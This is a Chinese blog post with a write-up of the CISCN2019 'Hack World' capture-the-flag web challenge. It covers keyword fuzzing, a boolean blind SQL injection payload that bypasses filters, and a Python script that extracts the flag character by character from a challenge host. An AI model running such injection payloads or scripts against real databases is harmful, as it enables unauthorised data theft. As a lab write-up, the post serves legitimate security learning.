博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目

拿到这道题,是给了提示的,我们猜想是一道注入的题目

 

分析

我们先提交一个1,抓个包看看

 

 

再跟个1'呢

 

 

发现报错,再输入1' or 1=1--+,猜想后端应该是做了某种过滤

 

 

我们先来fuzz一下,看到底哪些关键字被过滤掉了

把数据包放到爆破模块中

 

 

导入我们的fuzz字典,然后开始爆破

 

 

leng=472的是没有被过滤掉的,结合没有被过滤的关键字,我们考虑用bool盲注

payload

id=0^(ascii(substr((select(flag)from(flag)),1,1))>101)

 

 

当>102时,报错,说明第一个字符就是102的ascii所对应的字符,也就是f

我们可以写一个python脚本,解放劳动力(我写的脚本有问题,这里贴上别人的脚本)

 1 import requests
 2 
 3 url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php"
 4 
 5 result = ""
 6 num = 0  # 用了来判断是不是flag已经拼完整了
 7 for i in range(1, 60):
 8 
 9     if num == 1:
10         break
11 
12     for j in range(32, 128):
13 
14         payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
15         # print(str((i-1)*96+j-32)+":~"+payload+"~")
16 
17         data = {
18             "id": payload,
19         }
20 
21         r = requests.post(url, data=data)
22 
23         r.encoding = r.apparent_encoding
24 
25         if "Hello" in r.text:
26             x = chr(j)
27             result += str(x)
28             print(result)
29             break
30 
31         if "}" in result:
32             print(result)
33             num = 1
34             break

 

posted @ 2020-09-11 11:45  My_Dreams  阅读(2148)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();